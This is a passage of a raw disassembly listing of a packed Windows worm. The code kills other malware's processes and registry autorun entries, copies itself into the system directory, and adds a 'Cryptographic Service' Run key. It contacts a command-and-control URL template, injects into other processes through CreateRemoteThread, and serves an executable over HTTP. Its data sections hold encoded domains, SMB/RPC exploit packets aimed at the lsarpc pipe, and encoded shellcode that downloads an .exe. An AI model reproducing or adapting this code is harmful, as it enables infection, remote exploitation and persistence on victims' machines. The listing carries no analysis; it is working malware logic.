loc_314227FA push ebx push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_314227FA: ; CODE XREF: UPX0:314227EBj mov dword ptr [esp+10h], 4 loc_31422802: ; CODE XREF: UPX0:31422813j push ebx push offset sub_314225C3 call sub_31421F52 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31422802 test ebp, ebp jle short loc_3142282A loc_31422819: ; CODE XREF: UPX0:31422828j push 0 push offset sub_3142264B call sub_31421F52 pop ecx dec ebp pop ecx jnz short loc_31422819 loc_3142282A: ; CODE XREF: UPX0:31422817j ; UPX0:31422836j ... call sub_31422038 test eax, eax jz short loc_31422838 push edi call esi ; Sleep jmp short loc_3142282A ; --------------------------------------------------------------------------- loc_31422838: ; CODE XREF: UPX0:31422831j ; UPX0:31422844j call sub_31422038 test eax, eax jnz short loc_31422846 push edi call esi ; Sleep jmp short loc_31422838 ; --------------------------------------------------------------------------- loc_31422846: ; CODE XREF: UPX0:3142283Fj call sub_31422712 jmp short loc_3142282A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142284D proc near ; CODE XREF: sub_314229E6+93p ; sub_31422B67+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C ; RegOpenKeyExA test eax, eax jnz short loc_31422880 push [ebp+arg_8] push [ebp+arg_4] call dword_31421010 ; RegDeleteValueA push [ebp+arg_4] call dword_31421014 ; RegCloseKey loc_31422880: ; CODE XREF: sub_3142284D+1Cj pop ebp retn sub_3142284D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422882 proc near ; CODE XREF: sub_314221C4+33p ; sub_314229E6+84p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3142100C ; RegOpenKeyExA test eax, eax jz short loc_314228AE push 1 pop eax jmp short loc_314228D8 ; --------------------------------------------------------------------------- loc_314228AE: ; CODE XREF: sub_31422882+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31421008 ; RegQueryValueExA test eax, eax jz short loc_314228CD push 2 pop esi loc_314228CD: ; CODE XREF: sub_31422882+46j push [ebp+arg_10] call dword_31421014 ; RegCloseKey mov eax, esi loc_314228D8: ; CODE XREF: sub_31422882+2Aj pop esi leave retn sub_31422882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314228DB proc near ; CODE XREF: sub_31422A9B+96p ; sub_31422B67+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31421000 ; RegCreateKeyExA test eax, eax jz short loc_31422904 push 1 pop eax jmp short loc_3142292B ; --------------------------------------------------------------------------- loc_31422904: ; CODE XREF: sub_314228DB+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31421004 ; RegSetValueExA test eax, eax jz short loc_31422920 push 2 pop esi loc_31422920: ; CODE XREF: sub_314228DB+40j push [ebp+arg_4] call dword_31421014 ; RegCloseKey mov eax, esi loc_3142292B: ; CODE XREF: sub_314228DB+27j pop esi pop ebp retn sub_314228DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142292E proc near ; CODE XREF: sub_314229E6+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31421084 ; lstrlen mov esi, eax dec esi test esi, esi jle loc_314229E2 loc_3142294E: ; CODE XREF: sub_3142292E+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31422957 dec esi jns short loc_3142294E loc_31422957: ; CODE XREF: sub_3142292E+24j push 0 push 2 call sub_31422D2C ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_314229E2 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31422CD6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31422D26 ; Process32First test eax, eax jz short loc_314229E2 lea esi, [esi+ebx+1] loc_3142299F: ; CODE XREF: sub_3142292E+B2j lea eax, [ebp+var_104] push eax push esi call dword_31421104 ; strstr pop ecx test eax, eax pop ecx jz short loc_314229CF push [ebp+var_120] push 0 push 1F0FFFh call dword_314210B0 ; OpenProcess push 0 push eax call dword_31421060 ; TerminateProcess loc_314229CF: ; CODE XREF: sub_3142292E+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31422D20 ; Process32Next test eax, eax jnz short loc_3142299F loc_314229E2: ; CODE XREF: sub_3142292E+1Aj ; sub_3142292E+38j ... pop esi pop ebx leave retn sub_3142292E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314229E6 proc near ; CODE XREF: UPX0:3142237Bp var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31422A56: ; CODE XREF: sub_314229E6+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422A8D push ebx push edi push esi call sub_3142284D lea eax, [ebp+var_13C] push eax call sub_3142292E add esp, 10h loc_31422A8D: ; CODE XREF: sub_314229E6+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31422A56 pop edi pop esi pop ebx leave retn sub_314229E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422A9B proc near ; CODE XREF: sub_31422B67+D1p ; sub_31422B67+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31422AB0 push [ebp+arg_0] call dword_31421074 ; DeleteFileA loc_31422AB0: ; CODE XREF: sub_31422A9B+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3142108C ; GetSystemDirectoryA test eax, eax jz locret_31422B65 push esi call dword_314210FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31421F73 mov esi, dword_31421088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314241F0 push eax call esi ; lstrcat lea eax, [ebp+var_78] push offset dword_314241F8 push eax call esi ; lstrcat lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcat lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31421050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31421084 ; lstrlen inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_314228DB add esp, 14h push dword_31424FF4 call dword_3142107C ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31421054 ; WinExec push 1F4h call dword_31421094 ; Sleep push 0 call dword_314210E0 ; ExitProcess pop esi locret_31422B65: ; CODE XREF: sub_31422A9B+23j leave retn sub_31422A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422B67 proc near ; CODE XREF: UPX0:31422380p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31421048 ; GetModuleFileNameA test eax, eax jz loc_31422CA0 and dword_31425010, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422BED call dword_314210FC ; rand push 0Ah mov ebx, offset aNjkdtpyhxp ; "njkdtpyhxp" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31421F73 pop ecx pop ecx push ebx call dword_31421084 ; lstrlen inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_314228DB add esp, 14h jmp short loc_31422BFC ; --------------------------------------------------------------------------- loc_31422BED: ; CODE XREF: sub_31422B67+4Dj lea eax, [ebp+var_20] push eax push offset aNjkdtpyhxp ; "njkdtpyhxp" call dword_31421068 ; lstrcpy loc_31422BFC: ; CODE XREF: sub_31422B67+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422C42 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_314228DB lea eax, [ebp+var_84] push eax push 0 call sub_31422A9B add esp, 1Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C42: ; CODE XREF: sub_31422B67+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3142104C ; lstrcmpi test eax, eax jnz short loc_31422C8B lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422CA0 push ebx push edi push esi mov dword_31425010, 1 call sub_3142284D add esp, 0Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C8B: ; CODE XREF: sub_31422B67+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31422A9B pop ecx pop ecx loc_31422CA0: ; CODE XREF: sub_31422B67+1Fj ; sub_31422B67+D9j ... pop edi pop esi pop ebx leave retn sub_31422B67 endp ; =============== S U B R O U T I N E ======================================= sub_31422CA5 proc near ; CODE XREF: sub_314211A0+CAp ; sub_314215C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31421044 ; VirtualAlloc retn sub_31422CA5 endp ; =============== S U B R O U T I N E ======================================= sub_31422CB9 proc near ; CODE XREF: sub_314211A0+10Bp ; sub_314215C7+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31421040 ; VirtualFree retn sub_31422CB9 endp ; --------------------------------------------------------------------------- align 10h loc_31422CD0: ; DATA XREF: sub_31421422+Ao ; sub_314223B2+Ao jmp dword ptr loc_31421100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CD6 proc near ; CODE XREF: sub_31421801+128p ; sub_31421801+134p ... jmp dword_314210F8 sub_31422CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CDC proc near ; CODE XREF: sub_31421801+9Cp ; sub_31421801+C5p ... jmp dword_314210F4 sub_31422CDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CE2 proc near ; CODE XREF: sub_31421801+93p ; sub_31421801+B2p ... jmp dword_314210F0 sub_31422CE2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31422CF0 proc near ; CODE XREF: sub_31421801+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31422D10 loc_31422CFC: ; CODE XREF: sub_31422CF0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31422CFC loc_31422D10: ; CODE XREF: sub_31422CF0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31422CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D20 proc near ; CODE XREF: sub_3142292E+ABp jmp dword_31421064 sub_31422D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D26 proc near ; CODE XREF: sub_3142292E+64p jmp dword_3142105C sub_31422D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D2C proc near ; CODE XREF: sub_3142292E+2Dp jmp dword_31421058 sub_31422D2C endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4B3h dup(0) dword_31424000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_31421422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314215C7+84o align 10h byte_31424080 db 0 ; DATA XREF: sub_314216A2+1Br off_31424081 dd offset dword_314241E4 ; DATA XREF: sub_314216A2+23r align 2 dd offset dword_314241D4 dw 0C401h dd 1314241h, 314241B4h, 4241A000h, 41900131h, 80013142h dd 314241h, 31424174h, 42416800h, 41580131h, 48003142h dd 1314241h, 3142413Ch, 42417400h, 41D40131h, 30003142h dd 314241h, 314241D4h, 42412001h, 41480031h, 10013142h dd 314241h, 31424130h, 42410001h, 40F80131h, 74003142h dd 314241h, 31424130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314241D4 dd 72617778h, 6A632E65h, 656E2E62h, 74h ; DATA XREF: UPX0:31424086o dword_314241E4 dd 617A616Dh, 616B6166h, 75722Eh ; DATA XREF: UPX0:off_31424081o dword_314241F0 dd 6578652Eh, 0 ; DATA XREF: sub_314211A0+75o ; sub_3142207E+55o ... dword_314241F8 dd 5Ch ; DATA XREF: sub_314211A0+49o ; sub_31422A9B+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314211A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31421316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31421316+Co align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_31421422+34o align 10h aHttpS db 'http://%s',0 ; DATA XREF: sub_314215C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=19&cnt=%s',0 ; DATA XREF: sub_314215C7+57o align 8 byte_314242B8 db 0EBh ; DATA XREF: sub_31421801+24Eo ; sub_31421801+260o ... db 58h word_314242BA dw 7468h ; DATA XREF: sub_31422712+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_31424580 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_31421801+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_3142460C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_314246B8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31424798 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_31421801+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_314247FC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31424868 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_3142490C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_3142498C dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_31421801+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31424A20 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31424A8C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31424B00 dd 0 ; DATA XREF: sub_31421801+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31424BBE dd 1004600h ; DATA XREF: sub_31421801+289r dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31424BF8 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_31421801+41Bo ; sub_31421801+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31424C70: ; DATA XREF: sub_31421801+44Ao jmp short loc_31424C78 ; --------------------------------------------------------------------------- jmp short loc_31424C7A ; --------------------------------------------------------------------------- align 8 loc_31424C78: ; CODE XREF: UPX0:loc_31424C70j ; DATA XREF: sub_31421801+5Co pop esp pop esp loc_31424C7A: ; CODE XREF: UPX0:31424C72j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31424C84 dd 1CEC8166h ; DATA XREF: sub_31421801+Dr dword_31424C88 dd 0E4FF07h ; DATA XREF: sub_31421801+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31421D68+62o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31421D68+39o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31421D68+2Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31421D68+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31421D68+8o ; sub_314223B2+12Co align 10h aUterm19 db 'uterm19',0 ; DATA XREF: sub_31421DF0:loc_31421ED5o ; UPX0:31422351o ... aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31421DF0+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31421DF0:loc_31421E37o align 4 aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31421DF0+34o align 4 aKernel32 db 'kernel32',0 ; DATA XREF: sub_31421DF0+18o align 4 dword_31424D38 dd 0E9F3F5h ; DATA XREF: sub_3142207E+112o aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_3142207E+85o db 0Dh,0Ah,0 align 4 aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 4 aGet db 'GET',0 ; DATA XREF: sub_3142207E+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:3142233Co align 4 aUser32 db 'user32',0 ; DATA XREF: sub_314223B2+133o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_314223B2+125o align 4 aWininet db 'wininet',0 ; DATA XREF: sub_314223B2+11Eo aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_314223B2+111o align 4 aU19x db 'u19x',0 ; DATA XREF: sub_314223B2+BDo align 4 aU19 db 'u19',0 ; DATA XREF: sub_314223B2+B6o aU18 db 'u18',0 ; DATA XREF: sub_314223B2+AFo aU17 db 'u17',0 ; DATA XREF: sub_314223B2+A8o aU16 db 'u16',0 ; DATA XREF: sub_314223B2+A1o aU15 db 'u15',0 ; DATA XREF: sub_314223B2+9Ao aU14 db 'u14',0 ; DATA XREF: sub_314223B2+93o aU13i db 'u13i',0 ; DATA XREF: sub_314223B2+8Co align 4 aU13 db 'u13',0 ; DATA XREF: sub_314223B2+85o aU12 db 'u12',0 ; DATA XREF: sub_314223B2+7Eo aU11 db 'u11',0 ; DATA XREF: sub_314223B2+77o aU10 db 'u10',0 ; DATA XREF: sub_314223B2+70o aU9 db 'u9',0 ; DATA XREF: sub_314223B2+69o align 4 aU8 db 'u8',0 ; DATA XREF: sub_314223B2+62o align 4 aU18x db 'u18x',0 ; DATA XREF: sub_314223B2+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_314223B2+54o align 4 aU16x db 'u16x',0 ; DATA XREF: sub_314223B2+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_314223B2+46o align 4 aU14x db 'u14x',0 ; DATA XREF: sub_314223B2+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_314223B2+38o align 4 aU12x db 'u12x',0 ; DATA XREF: sub_314223B2+31o align 4 aU11x db 'u11x',0 ; DATA XREF: 